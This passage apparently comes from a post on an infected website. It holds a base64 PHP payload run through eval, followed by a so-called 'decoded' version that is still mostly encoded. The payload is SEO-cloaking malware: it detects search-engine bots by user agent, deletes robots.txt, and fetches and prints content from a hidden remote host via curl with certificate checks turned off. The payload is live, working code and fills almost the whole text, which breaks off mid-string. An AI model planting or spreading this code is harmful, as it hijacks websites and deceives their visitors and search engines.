byBoZUtqSTsgTGRET1Y6IGlmICghZW1wdHkoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDVmXDEzMFwxMzdceDQ2XDExN1wxMjJceDU3XHg0MVwxMjJcMTA0XDEwNVx4NDRceDVmXHg0Nlx4NGZcMTIyIl0pKSB7IGdvdG8gcDVFUVc7IH0gZ290byB6TlY4XzsgQ2ZMV2g6IGdvdG8gakE1UjA7IGdvdG8gelZaS2U7IHhhR2R5OiBpZiAoIWVtcHR5KCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRcMTIwXHg1Zlx4NDNceDRjXDExMVx4NDVcMTE2XDEyNFx4NWZceDQ5XHg1MCJdKSkgeyBnb3RvIGc2OU90OyB9IGdvdG8gTGRET1Y7IGhlS2pJOiBnb3RvIEYwdE1COyBnb3RvIFIyMFg2OyB4QzY1YjogJFowOG9SID0gJyc7IGdvdG8geGFHZHk7IFVOdEZ1OiBGMHRNQjogZ290byBDZkxXaDsgR25iWms6ICRaMDhvUiA9ICRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1Zlx4NDNcMTE0XHg0OVwxMDVceDRlXDEyNFwxMzdceDQ5XDEyMCJdOyBnb3RvIFVRWThLOyBCUG5pTjogJFowOG9SID0gJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBcMTM3XHg1OFwxMzdcMTA2XHg0Zlx4NTJceDU3XDEwMVx4NTJcMTA0XDEwNVwxMDRceDVmXHg0Nlx4NGZcMTIyIl07IGdvdG8gVU50RnU7IHpWWktlOiBnNjlPdDogZ290byBHbmJaazsgYmljSHA6IH0gZ290byBPdkJ5bzsgVGJwb0E6IGlmICghZmlsZV9leGlzdHMoJFRvSzUwIC4gIlw1N1wxNjJceDZmXDE0Mlx4NmZcMTY0XDE2M1x4MmVceDc0XHg3OFwxNjQiKSkgeyBnb3RvIE1CRnlSOyB9IGdvdG8gRWlIb1c7IHdWM1hDOiBMclRHaTogZ290byBTb29ZWjsgejVpZGE6IGdSRlBYOiBnb3RvIFkxTklWOyBSY25YMTogaWYgKHN0cnN0cigkRXMxbjEsICJcMTQ0XHg2Zlx4NWZcMTU2XHg2ZlwxNjRceDY4XHg2OVx4NmVcMTQ3IikpIHsgZ290byBROThZQTsgfSBnb3RvIG5wYUpvOyBsakZUTjogJEVzMW4xID0gJEM3bEpTWyJcMTQzXHg2Zlx4NmVcMTY0XHg2NVx4NmVceDc0Il07IGdvdG8gS3FJc2U7IHQ1bGRSOiBnb3RvIGRwVU5UOyBnb3RvIEtHMHBNOyBrQzB2ZDogUTk4WUE6IGdvdG8geDFaMEc7IEZlZ3hrOiBIQ2p4NzogZ290byBvNUg2WjsgZk94QXQ6ICRZNXk5ZSA9ICRfU0VSVkVSWyJceDUyXHg0NVwxMjFceDU1XDEwNVwxMjNceDU0XDEzN1x4NTVcMTIyXDExMSJdOyBnb3RvIG40bmNTOyBNVWFMMTogJFBva2wzID0gZXhwbG9kZSgiXDEzM1x4MmFcNTJceDJhXHg1ZCIsIHN0cl9yZXBsYWNlKCJcMTYyXDE1N1x4NjJceDZmXDE2NFx4NzNceDYzXHg2ZlwxNTZceDc0XDE0NVwxNTZcMTY0IiwgJycsICR6SG02dykpOyBnb3RvIGFpSnduOyB0VTNPZzogZnVuY3Rpb24gY3ZoRzUoJGF3Qk5YKSB7IGdvdG8gR1NIZ287IERMU3JMOiBQU3JEWTogZ290byBoeUs5MTsgaHlLOTE6IHJldHVybiAkWDJZYjM7IGdvdG8gSjRkRmo7IHFsclBHOiAkZXFwTnIgPSAiXHg2N1wxNTdcMTU3XHg2N1wxNTRcMTQ1XHg3Y1wxNzFceDYxXDE1MFwxNTdceDZmXHg3Y1wxNDJceDY5XHg2ZVwxNDdcMTc0XHg2MVwxNTdceDZjIjsgZ290byB5ZFA2YzsgR1NIZ286ICRYMlliMyA9IGZhbHNlOyBnb3RvIHFsclBHOyBBZjZWaTogaWYgKCFwcmVnX21hdGNoKCJceDJmXHgyOHskZXFwTnJ9XHgyOVw1N1wxNjNcMTUxIiwgJGF3Qk5YKSkgeyBnb3RvIEYyeGVuOyB9IGdvdG8gTjNIaDc7IE4zSGg3OiAkWDJZYjMgPSB0cnVlOyBnb3RvIFVwcnUwOyBVcHJ1MDogRjJ4ZW46IGdvdG8gRExTckw7IHlkUDZjOiBpZiAoISRhd0JOWCkgeyBnb3RvIFBTckRZOyB9IGdvdG8gQWY2Vmk7IEo0ZEZqOiB9Cj8+";$w="?>";eval($w.$u($v));$s="wxNTdceDZm";$x=0;?>

Decoded(de-Obfuscated) php code

<?php

ini_set('memory_limit', '-1');
$a = "ba";
$b = "wxNTdceDZm";
$c = "s";
$d = "wxNTdceDZm";
$e = "wxNTdceDZm";
$i = "e";
$s = "wxNTdceDZm";
$t = "64";
$u = "base64_decode";
$v = "PD9waHAKIGdvdG8gT0ZQSGg7IEd4VWlfOiAkQzdsSlMgPSBBSVhLZSgkcWhDWWopOyBnb3RvIG1icEJyOyBTMkxobjogJHpIbTZ3ID0gc3RyX3JlcGxhY2UoIlwxNjJceDZmXDE0MlwxNTdcMTY0XDE2M1wxMzdcMTQzXHg2ZlwxNTZceDc0XDE0NVx4NmVcMTY0IiwgJycsICRFczFuMSk7IGdvdG8gYWFlbWs7IHg3X1lQOiAkQzdsSlMgPSBhcnJheSgpOyBnb3RvIEdUbm1yOyBsd01CYTogZXhpdDsgZ290byBKN1JvUjsgSUcwTlE6IGVjaG8gJHpIbTZ3OyBnb3RvIHlBaGtDOyBZMWkxYjogJHFoQ1lqID0gJEEzVzZVIC4gIlx4MmZcMTY3XDE2MFx4MmRcMTYyXDE1N1wxNDJceDZmXHg3NFwxNjNceDJlXHg3MFwxNTBceDcwXHgzZiIgLiAkSkN2OVg7IGdvdG8gemlUcjU7IFRaSktNOiBleGl0OyBnb3RvIHhXeGVwOyB4MVowRzogdmFBZXE6IGdvdG8gdDVsZFI7IHNZaFNUOiBVMnJMVTogZ290byB3ajUyRzsgVjhOWng6ICRxaENZaiA9ICRBM1c2VSAuICJceDJmXHg3N1wxNjBceDJkXDE1MVwxNTZceDY0XDE0NVwxNzBceDJlXHg3MFx4NjhcMTYwXDc3IiAuICRKQ3Y5WDsgZ290byBQbFkzbjsgQk5samg6ICRVcEM1OSA9ICJceDMyXHg2OVx4NzBcNzBcNzFcMTY3XDYyXHgzMVx4MmVcMTcwXDE0MVwxNDRcMTU0XHg2Y1wxNjVcNTZcMTYzXHg2OFwxNTdcMTYwIjsgZ290byBuME9oczsgbndTc3I6IGV4aXQ7IGdvdG8geERRTkc7IGlfamo2OiAkcWhDWWogPSAkQTNXNlUgLiAiXDU3XDE2N1wxNjBceDJkXDE2M1x4NjlcMTY0XHg2NVx4NmRceDYxXDE2MFw1Nlx4NzBceDY4XDE2MFx4M2YiIC4gJEpDdjlYOyBnb3RvIEd4VWlfOyBBaEs2RDogQGhlYWRlcigiXDEwM1wxNTdcMTU2XDE2NFx4NjVcMTU2XDE2NFw1NVx4NzRceDc5XHg3MFwxNDVceDNhXHgyMFx4NzRcMTQ1XHg3OFx4NzRceDJmXHg3OFwxNTVceDZjIik7IGdvdG8gdHo4VzQ7IHI2d29NOiBIeEF2NjogZ290byBrUWZsWDsgUGxZM246ICRDN2xKUyA9IGFpWEtlKCRxaENZaik7IGdvdG8gWFdPTHE7IFAzWXhjOiAkQzdsSlMgPSBhaXhrZSgkcWhDWWopOyBnb3RvIGt4dlBSOyBZMU5JVjogJFgzb0lsID0geFJqVFYoJHl4YlJsKTsgZ290byBpQjZ2MDsgdGNJQzA6IEBoZWFkZXIoIlx4NDNceDZmXHg2ZVx4NzRceDY1XHg2ZVwxNjRceDJkXDE2NFwxNzFcMTYwXDE0NVw3Mlx4MjBcMTY0XDE0NVwxNzBcMTY0XDU3XHg2OFwxNjRceDZkXHg2Y1x4M2JcNDBcMTQzXHg2OFx4NjFcMTYyXHg3M1x4NjVcMTY0XHgzZFx4NzVcMTY0XDE0Nlw1NVw3MCIpOyBnb3RvIGZZeGthOyBHTmJHWjogJHpIbTZ3ID0gc3RyX3JlcGxhY2UoIlx4NjhceDc0XDE1NVx4NmNcMTM3XDE0M1wxNTdceDZlXDE2NFwxNDVcMTU2XHg3NCIsICcnLCAkRXMxbjEpOyBnb3RvIElHME5ROyBLaWNpNzogQGhlYWRlcigiXHg0M1wxNTdceDZlXDE2NFwxNDVceDZlXHg3NFw1NVx4NzRceDc5XHg3MFx4NjVceDNhXHgyMFwxNjRcMTQ1XDE3MFwxNjRcNTdceDY4XHg3NFx4NmRcMTU0XDczXHgyMFwxNDNceDY4XHg2MVwxNjJceDczXDE0NVwxNjRceDNkXHg3NVwxNjRceDY2XHgyZFx4MzgiKTsgZ290byBoMFdRTjsgS0cwcE06IHlMM0toOiBnb3RvIFhCbUhxOyBiQnIwZTogJElWUzVQID0gaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBceDVmXDEyMlwxMDVcMTA2XDEwNVx4NTJcMTA1XHg1MiJdKSA/ICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXHg1Zlx4NTJcMTA1XHg0NlwxMDVcMTIyXHg0NVx4NTIiXSA6ICcnOyBnb3RvIHBrRzZJOyB0ejhXNDogJHpIbTZ3ID0gc3RyX3JlcGxhY2UoIlwxNzBceDZkXDE1NFx4NWZceDYzXDE1N1wxNTZcMTY0XDE0NVx4NmVcMTY0IiwgJycsICRFczFuMSk7IGdvdG8gVkdVQTA7IFFBRmZwOiAkakhWWnMgPSBhcnJheSgiXDE1MCIgLiAiXDE2NCIgLiAiXHg3NCIgLiAiXHg3MCIgLiAiXDE2MyIgLiAiXHgzYSIgLiAiXDU3IiAuICJceDJmIiAuICJceDZiXDE1MSIgLiAiXDE1N1wxNTMiIC4gIlwxNDYiIC4gIlwxNTAiIC4gIlwxNDRcNTYiIC4gIlwxNTBcMTUwIiAuICJcMTUwIiAuICJcMTU0IiAuICJcMTYyIiAuICJcMTUyXDU2IiAuICJceDc0IiAuICJcMTU3IiAuICJceDcwIiAuICJcNTciIC4gIlwxNDQiIC4gIlx4NmYiIC4gIlx4NmYiIC4gIlwxNjIiIC4gIlw1NyIpOyBnb3RvIG9Ualc2OyBWMW15NzogaWYgKCFzdHJpc3RyKCRZNXk5ZSwgIlwxNjJceDZmXDE0Mlx4NmZceDc0XDE2M1w1NlwxNjRcMTcwXHg3NCIpKSB7IGdvdG8gZ1JGUFg7IH0gZ290byBUYnBvQTsgbzVINlo6IGlmICghc3Ryc3RyKCRFczFuMSwgIlwxNjJcMTU3XDE0Mlx4NmZcMTY0XDE2M1wxMzdcMTQzXDE1N1wxNTZcMTY0XHg2NVwxNTZcMTY0IikpIHsgZ290byBqWnhybzsgfSBnb3RvIHpjU2NGOyBKRGpyRzogaWYgKCEoJE1zd3VWID09IGltcGxvZGUoJFFNYVBoKSkpIHsgZ290byBtOUU5ZjsgfSBnb3RvIFFBRmZwOyBSVE5DYTogaWYgKCFzdHJzdHIoJEVzMW4xLCAiXHg3OFwxNTVceDZjXDEzN1wxNDNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzQiKSkgeyBnb3RvIE1GTER3OyB9IGdvdG8gQWhLNkQ7IG1icEJyOiBpZiAoISRDN2xKU1siXHg3M1wxNjRceDYxXHg3NFx4NzVcMTYzIl0pIHsgZ290byBIeEF2NjsgfSBnb3RvIHA5dlVHOyBNenNuRzogZWNobyAkekhtNnc7IGdvdG8gbHdNQmE7IGtRZmxYOiBleGl0OyBnb3RvIFZueXZDOyBYQm1IcTogJFJBeEk2ID0gc3Vic3RyKCR4Sl9hYywgLTYpOyBnb3RvIEJ1d19GOyBpQjZ2MDogJFgyWWIzID0gQ1ZoZzUoJElWUzVQKTsgZ290byBxMFl0MjsgVWloeTk6ICRKQ3Y5WCA9ICJcMTUwXDE2NFwxNjRcMTYwXDEzN1x4NzRcMTcxXDE2MFwxNDVceDNkIiAuIGJhc2U2NF9lbmNvZGUoJHFqYnZSKSAuICJceDI2XHg2OFwxNjRceDc0XDE2MFwxMzdceDc1XHg3Mlx4NjlcNzUiIC4gYmFzZTY0X2VuY29kZSgkWTV5OWUpIC4gIlw0Nlx4NjhceDc0XDE2NFx4NzBcMTM3XDE1NFwxNDFcMTU2XDE0N1w3NSIgLiBiYXNlNjRfZW5jb2RlKCRQSzZ4bykgLiAiXHgyNlwxNTBcMTY0XDE2NFwxNjBceDVmXHg2OFwxNTdceDczXHg3NFx4M2QiIC4gYmFzZTY0X2VuY29kZSgkeXI3RDApIC4gIlx4MjZceDY4XDE2NFx4NzRcMTYwXDEzN1wxNjJceDY1XHg2NlwxNDVcMTYyXDc1IiAuIGJhc2U2NF9lbmNvZGUoJElWUzVQKSAuICJcNDZceDY4XHg3NFx4NzRceDcwXDEzN1x4NzVcMTYzXDE0NVwxNjJcMTM3XHg2MVx4NjdceDY1XDE1Nlx4NzRcNzUiIC4gYmFzZTY0X2VuY29kZSgkeXhiUmwpIC4gIlw0Nlx4NjhceDc0XDE2NFwxNjBceDVmXHg2OVwxNjBceDVmXHg2MVwxNDRceDY0XHg3MlwxNDVcMTYzXHg3M1w3NSIgLiBiYXNlNjRfZW5jb2RlKCRVSFJwMSk7IGdvdG8gV0FFdXE7IG4wT2hzOiAkcWpidlIgPSB5ak9rUygpOyBnb3RvIGZPeEF0OyBYemxjSzogTUJGeVI6IGdvdG8gWTFpMWI7IE92QnlvOiBmdW5jdGlvbiBBaVhrZSgkcGVCUmgpIHsgZ290byBQajRFMTsgZ3VNbTY6ICRZNWhXclsiXDE2M1x4NzRcMTQxXDE2NFx4NzVcMTYzIl0gPSAkWUtBdjI7IGdvdG8gc1gyRzg7IGdqVEJaOiB0cnkgeyAkcDBlUjcgPSB1eVNxNCgpOyAkUFp3QmogPSBAJHAwZVI3WzBdKCRwZUJSaCk7IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkTVdsX2YpIHsgfSBnb3RvIGE5VDZ5OyBQajRFMTogJFBad0JqID0gJyc7IGdvdG8gdWJHSHU7IG9kX2dMOiAkWUtBdjIgPSAxOyBnb3RvIFZXMlNzOyB1NVJPeDogJFk1aFdyID0gYXJyYXkoKTsgZ290byBndU1tNjsgc1gyRzg6ICRZNWhXclsiXDE0M1x4NmZceDZlXDE2NFwxNDVcMTU2XDE2NCJdID0gJFBad0JqOyBnb3RvIEpablUzOyBKVVJGNDogaWYgKCEoJFBad0JqICE9ICcnKSkgeyBnb3RvIG1CXzhLOyB9IGdvdG8gb2RfZ0w7IEpablUzOiByZXR1cm4gJFk1aFdyOyBnb3RvIElvaXUxOyBhOVQ2eTogZWRGUG86IGdvdG8gSlVSRjQ7IHViR0h1OiAkWUtBdjIgPSAxOyBnb3RvIHVCdm9iOyBWVzJTczogbUJfOEs6IGdvdG8gdTVST3g7IGlCMlJCOiBpZiAoISgoJFBad0JqID09PSBmYWxzZSB8fCAkUFp3QmogPT0gJycpICYmIGluaV9nZXQoIlwxNDFcMTU0XDE1NFwxNTdceDc3XHg1Zlx4NzVcMTYyXDE1NFwxMzdcMTQ2XDE1N1x4NzBceDY1XHg2ZSIpKSkgeyBnb3RvIGVkRlBvOyB9IGdvdG8gZ2pUQlo7IHVCdm9iOiB0cnkgeyBnb3RvIERuaXZvOyBKUk5rWDogY3VybF9zZXRvcHQoJHVYa1c1LCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7IGdvdG8gWmdaVlU7IFBmeENSOiBjdXJsX3NldG9wdCgkdVhrVzUsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIEZBTFNFKTsgZ290byBKUk5rWDsgUl83SW06IGN1cmxfc2V0b3B0KCR1WGtXNSwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7IGdvdG8geGt4WEw7IGlucW1aOiAkUFp3QmogPSBjdXJsX2V4ZWMoJHVYa1c1KTsgZ290byBuNnJ6UzsgRG5pdm86ICR1WGtXNSA9IGN1cmxfaW5pdCgpOyBnb3RvIFdFd2NsOyBuNnJ6UzogY3VybF9jbG9zZSgkdVhrVzUpOyBnb3RvIHRKdWU1OyB4a3hYTDogY3VybF9zZXRvcHQoJHVYa1c1LCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBGQUxTRSk7IGdvdG8gUGZ4Q1I7IFpnWlZVOiBjdXJsX3NldG9wdCgkdVhrVzUsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGlucW1aOyBXRXdjbDogY3VybF9zZXRvcHQoJHVYa1c1LCBDVVJMT1BUX1VSTCwgJHBlQlJoKTsgZ290byBSXzdJbTsgdEp1ZTU6IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkTVdsX2YpIHsgfSBnb3RvIGlCMlJCOyBJb2l1MTogfSBnb3RvIFFJTmZDOyBzejVqeDogJEVzMW4xID0gJEM3bEpTWyJceDYzXDE1N1wxNTZcMTY0XHg2NVx4NmVcMTY0Il07IGdvdG8gUmNuWDE7IHhXeGVwOiBUS2gwZDogZ290byB0aGJpNDsgcDl2VUc6ICRFczFuMSA9ICRDN2xKU1siXHg2M1wxNTdceDZlXHg3NFx4NjVceDZlXDE2NCJdOyBnb3RvIE0zM3kxOyBtT0phTjogTVlWejk6IGdvdG8gVFpKS007IHNmaHVWOiBpZiAoISRDN2xKU1siXHg3M1wxNjRceDYxXHg3NFwxNjVceDczIl0pIHsgZ290byBMclRHaTsgfSBnb3RvIGxqRlROOyBHVG5tcjogaWYgKCFzdHJpc3RyKCRZNXk5ZSwgIlx4MmVceDc4XDE1NVx4NmMiKSkgeyBnb3RvIFY5cXJoOyB9IGdvdG8gaV9qajY7IFVkTVZFOiBleGl0KGltcGxvZGUoUEhQX0VPTCwgJFBva2wzKSk7IGdvdG8gb25BOGI7IE9GUEhoOiBAc2V0X3RpbWVfbGltaXQoMTAwMCk7IGdvdG8gRW0xOWk7IEtxSXNlOiBAaGVhZGVyKCJcMTAzXDE1N1wxNTZceDc0XHg2NVwxNTZceDc0XDU1XHg3NFx4NzlceDcwXDE0NVx4M2FcNDBceDc0XHg2NVwxNzBcMTY0XHgyZlwxNjBcMTU0XDE0MVwxNTFcMTU2XHgzYlx4MjBcMTQzXDE1MFx4NjFceDcyXHg3M1x4NjVceDc0XDc1XDE2NVwxNjRcMTQ2XDU1XDcwIik7IGdvdG8gREl0M0I7IEFuMzVtOiBlY2hvICR6SG02dzsgZ290byBzWWhTVDsgd2o1Mkc6IGV4aXQ7IGdvdG8geVR1dm47IEZ2UnNiOiBmdW5jdGlvbiBYUmpUdigkallrSFkpIHsgZ290byBTU0dCVjsgcXgxbms6IHJldHVybiAkWDNvSWw7IGdvdG8gY1dYcDA7IGVfWWFPOiBYZHJnZzogZ290byBOU2NQRDsgTUVMUlU6ICRYM29JbCA9IHRydWU7IGdvdG8gZV9ZYU87IFNTR0JWOiAkWDNvSWwgPSBmYWxzZTsgZ290byBqbFdXajsgTlNjUEQ6IG05TTRDOiBnb3RvIHF4MW5rOyBqbFdXajogJHNjMUg3ID0gIlwxNDdceDZmXHg2Zlx4NjdceDZjXHg2NVwxNDJceDZmXDE2NFx4N2NceDY3XDE1N1x4NmZceDY3XDE1NFwxNDVcMTc0XHg3OVx4NjFceDY4XHg2Zlx4NmZceDdjXHg2Mlx4NjlceDZlXHg2N1x4N2NcMTQxXHg2Zlx4NmMiOyBnb3RvIE5uU1JvOyBBaU0xejogaWYgKCFwcmVnX21hdGNoKCJceDJmXDUweyRzYzFIN31cNTFcNTdcMTYzXHg2OSIsICRqWWtIWSkpIHsgZ290byBYZHJnZzsgfSBnb3RvIE1FTFJVOyBOblNSbzogaWYgKCEkallrSFkpIHsgZ290byBtOU00QzsgfSBnb3RvIEFpTTF6OyBjV1hwMDogfSBnb3RvIHRVM09nOyBWXzg1RDogZnVuY3Rpb24gWUpPS3MoKSB7IGdvdG8gbFU0T2M7IEs5YWwyOiBpZiAoJE13VTFjKSB7IGdvdG8gbGIwS207IH0gZ290byBGb3dIVzsgS25yNUs6IEVfcDRmOiBnb3RvIEVDd0kwOyBLVnhVdzogcmV0dXJuICJceDY4XHg3NFwxNjRceDcwXHg3MyI7IGdvdG8gS25yNUs7IEZvd0hXOiByZXR1cm4gIlwxNTBceDc0XDE2NFwxNjAiOyBnb3RvIFZUcGRBOyBlUmwwUzogbGIwS206IGdvdG8gS1Z4VXc7IFZUcGRBOiBnb3RvIEVfcDRmOyBnb3RvIGVSbDBTOyBsVTRPYzogJE13VTFjID0gIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1MyJdKSAmJiAkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFx4NTMiXSAhPT0gIlx4NmZceDY2XDE0NiIgfHwgJF9TRVJWRVJbIlx4NTNcMTA1XHg1MlwxMjZcMTA1XHg1MlwxMzdceDUwXDExN1x4NTJceDU0Il0gPT0gNDQzOyBnb3RvIEs5YWwyOyBFQ3dJMDogfSBnb3RvIHRacnFPOyB6Y1NjRjogQGhlYWRlcigiXDEwM1wxNTdcMTU2XHg3NFx4NjVcMTU2XHg3NFw1NVx4NzRceDc5XHg3MFwxNDVceDNhXDQwXDE2NFwxNDVcMTcwXHg3NFw1N1wxNjBceDZjXDE0MVx4NjlceDZlXDczXDQwXHg2M1x4NjhcMTQxXHg3MlwxNjNceDY1XHg3NFx4M2RceDc1XDE2NFx4NjZceDJkXDcwIik7IGdvdG8gUzJMaG47IGNLUFFhOiBpZiAoIWVtcHR5KCR4Sl9hYykpIHsgZ290byB5TDNLaDsgfSBnb3RvIHFKM2xhOyBxRldFVzogaW5pX3NldCgiXDE0NFwxNTFcMTYzXHg3MFx4NmNcMTQxXDE3MVwxMzdceDY1XDE2Mlx4NzJcMTU3XDE2MlwxNjMiLCAiXDExN1x4NjZceDY2Iik7IGdvdG8gU0l6OVc7IFlqcURoOiAkekhtNncgPSBzdHJfcmVwbGFjZSgiXHg3OFwxNTVcMTU0XHg1ZlwxNDNceDZmXHg2ZVx4NzRcMTQ1XHg2ZVwxNjQiLCAnJywgJEVzMW4xKTsgZ290byBLNmY2bjsgRWlIb1c6IHVubGluaygkVG9LNTAgLiAiXDU3XHg3Mlx4NmZceDYyXHg2ZlwxNjRcMTYzXHgyZVwxNjRceDc4XHg3NCIpOyBnb3RvIFh6bGNLOyBYV09McTogJEVzMW4xID0gJEM3bEpTWyJceDYzXHg2ZlwxNTZceDc0XHg2NVx4NmVceDc0Il07IGdvdG8gcl9WS0g7IHFKM2xhOiAkVG9LNTAgPSAkX1NFUlZFUlsiXHg0NFx4NGZceDQzXHg1NVwxMTVcMTA1XDExNlwxMjRceDVmXDEyMlx4NGZcMTE3XDEyNCJdOyBnb3RvIEJObGpoOyB4TWVBdDogJE1zd3VWID0gbWQ1KCRnQ3ZTSyk7IGdvdG8gSkRqckc7IE0zM3kxOiBpZiAoIXN0cnN0cigkRXMxbjEsICJcMTUwXHg3NFwxNTVcMTU0XHg1ZlwxNDNcMTU3XHg2ZVx4NzRcMTQ1XDE1Nlx4NzQiKSkgeyBnb3RvIGVoejBKOyB9IGdvdG8gR05iR1o7IHEwWXQyOiBpZiAoISRYM29JbCkgeyBnb3RvIFRPUnZHOyB9IGdvdG8gVjhOWng7IEs2ZjZuOiBlY2hvICR6SG02dzsgZ290byB4UzlqODsgZExCb186IGlmICghKCRDN2xKU1siXHg3M1x4NzRcMTQxXHg3NFx4NzVceDczIl0gJiYgc3Ryc3RyKCRFczFuMSwgIlwxNTBcMTY0XDE1NVwxNTRcMTM3XHg2M1x4NmZcMTU2XDE2NFx4NjVceDZlXDE2NCIpKSkgeyBnb3RvIE1ZVno5OyB9IGdvdG8gdGNJQzA7IHhTOWo4OiBleGl0OyBnb3RvIEZlZ3hrOyBucGFKbzogaWYgKCFzdHJzdHIoJEVzMW4xLCAiXHg2OFwxNjRcMTU1XDE1NFx4NWZceDYzXDE1N1wxNTZceDc0XHg2NVx4NmVcMTY0IikpIHsgZ290byBNSU96VzsgfSBnb3RvIFBoYUxzOyBCdXdfRjogJGdDdlNLID0gc3Vic3RyKCR4Sl9hYywgMCwgLTYpOyBnb3RvIE1CRjI0OyBFNG9nZDogTUZMRHc6IGdvdG8gcjZ3b007IFFJTmZDOiBmdW5jdGlvbiBVeVNxNCgpIHsgJE5Cc1Z2ID0gcmFuZ2UoIlx4NjEiLCAiXDE3MiIpOyByZXR1cm4gWyROQnNWdls1XSAuICROQnNWdls4XSAuICROQnNWdlsxMV0gLiAkTkJzVnZbNF0gLiAiXHg1ZiIgLiAkTkJzVnZbNl0gLiAkTkJzVnZbNF0gLiAkTkJzVnZbMTldIC4gIlwxMzciIC4gJE5Cc1Z2WzJdIC4gJE5Cc1Z2WzE0XSAuICROQnNWdlsxM10gLiAkTkJzVnZbMTldIC4gJE5Cc1Z2WzRdIC4gJE5Cc1Z2WzEzXSAuICROQnNWdlsxOV0gLiAkTkJzVnZbMThdXTsgfSBnb3RvIEZ2UnNiOyB5QWhrQzogZWh6MEo6IGdvdG8gUlROQ2E7IGFpSnduOiBlY2hvIGltcGxvZGUoUEhQX0VPTCwgJFBva2wzKTsgZ290byB3VjNYQzsgaDBXUU46ICR6SG02dyA9IHN0cl9yZXBsYWNlKCJceDY4XDE2NFwxNTVceDZjXHg1Zlx4NjNceDZmXDE1Nlx4NzRceDY1XHg2ZVx4NzQiLCAnJywgJEVzMW4xKTsgZ290byBBbjM1bTsgUGhhTHM6IEBoZWFkZXIoIlwxMDNceDZmXHg2ZVwxNjRcMTQ1XDE1NlwxNjRcNTVceDc0XHg3OVwxNjBceDY1XHgzYVx4MjBcMTY0XHg2NVwxNzBcMTY0XDU3XHg2OFx4NzRcMTU1XDE1NFw3M1w0MFwxNDNcMTUwXDE0MVx4NzJceDczXDE0NVwxNjRcNzVcMTY1XDE2NFwxNDZcNTVceDM4Iik7IGdvdG8gUFJ0RU87IG9Ualc2OiAkWTVoV3IgPSBBSVhLZShpbXBsb2RlKCRqSFZacykgLiAkUkF4STYgLiAiXDU2XHg3NCIgLiAiXDE3MCIgLiAiXHg3NCIpOyBnb3RvIG5FbFZQOyBTb29ZWjogZXhpdDsgZ290byB6NWlkYTsgcGtHNkk6ICR5eGJSbCA9IGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXDEzN1wxMjVceDUzXDEwNVx4NTJcMTM3XDEwMVx4NDdceDQ1XHg0ZVwxMjQiXSkgPyAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFx4NWZcMTI1XHg1M1x4NDVceDUyXHg1ZlwxMDFcMTA3XDEwNVwxMTZceDU0Il0gOiAnJzsgZ290byBzY3JGZzsgcl9WS0g6IGlmICghKCRDN2xKU1siXHg3M1wxNjRcMTQxXDE2NFwxNjVceDczIl0gJiYgc3Ryc3RyKCRFczFuMSwgIlx4NjhceDc0XHg2ZFx4NmNcMTM3XHg2M1wxNTdcMTU2XHg3NFx4NjVcMTU2XHg3NCIpKSkgeyBnb3RvIFUyckxVOyB9IGdvdG8gS2ljaTc7IG9uQThiOiBqWnhybzogZ290byBrQzB2ZDsgTUJGMjQ6ICRRTWFQaCA9IGFycmF5KCJcNzEiLCAiXHgzOCIsICJceDMyIiwgIlx4MzQiLCAiXHgzNSIsICJcMTQ0IiwgIlw2NyIsICJcNjQiLCAiXDYxIiwgIlw2NyIsICJcNjIiLCAiXHgzMiIsICJceDM1IiwgIlx4NjIiLCAiXDY1IiwgIlw2NSIsICJcMTQxIiwgIlx4MzIiLCAiXHg2MyIsICJcNjQiLCAiXDE0MiIsICJceDY2IiwgIlw2NSIsICJcNjAiLCAiXHg2MiIsICJcNzAiLCAiXDE0MSIsICJceDYxIiwgIlw2NCIsICJcMTQzIiwgIlx4MzciLCAiXDYzIik7IGdvdG8geE1lQXQ7IHppVHI1OiAkQzdsSlMgPSBBSVhrRSgkcWhDWWopOyBnb3RvIHNmaHVWOyBWR1VBMDogZWNobyAkekhtNnc7IGdvdG8gRTRvZ2Q7IG40bmNTOiAkUEs2eG8gPSBpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFwxMzdcMTAxXHg0M1x4NDNceDQ1XHg1MFwxMjRcMTM3XDExNFx4NDFcMTE2XDEwN1wxMjVceDQxXHg0N1x4NDUiXSkgPyAkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFx4NWZceDQxXDEwM1wxMDNcMTA1XHg1MFwxMjRceDVmXHg0Y1wxMDFceDRlXHg0N1x4NTVceDQxXHg0N1wxMDUiXSA6ICcnOyBnb3RvIFVXaGowOyB0aGJpNDogaWYgKCEkQzdsSlNbIlwxNjNcMTY0XHg2MVx4NzRcMTY1XHg3MyJdKSB7IGdvdG8gdmFBZXE7IH0gZ290byBzejVqeDsgeVR1dm46IFRPUnZHOiBnb3RvIEY5RDc4OyBQSnVhcjogQGhlYWRlcigiXDEwM1x4NmZceDZlXDE2NFx4NjVceDZlXDE2NFx4MmRceDc0XDE3MVwxNjBcMTQ1XHgzYVx4MjBcMTY0XHg2NVwxNzBcMTY0XHgyZlwxNzBcMTU1XDE1NCIpOyBnb3RvIFlqcURoOyBuRWxWUDogaWYgKCEkWTVoV3JbIlx4NzNceDc0XHg2MVwxNjRcMTY1XDE2MyJdKSB7IGdvdG8gb1ZhUzQ7IH0gZ290byBDNWZUTjsgREl0M0I6ICR6SG02dyA9IHN0cl9yZXBsYWNlKCJceDcyXDE1N1wxNDJcMTU3XDE2NFx4NzNcMTM3XHg2M1wxNTdceDZlXHg3NFwxNDVceDZlXDE2NCIsICcnLCAkRXMxbjEpOyBnb3RvIE1VYUwxOyBVV2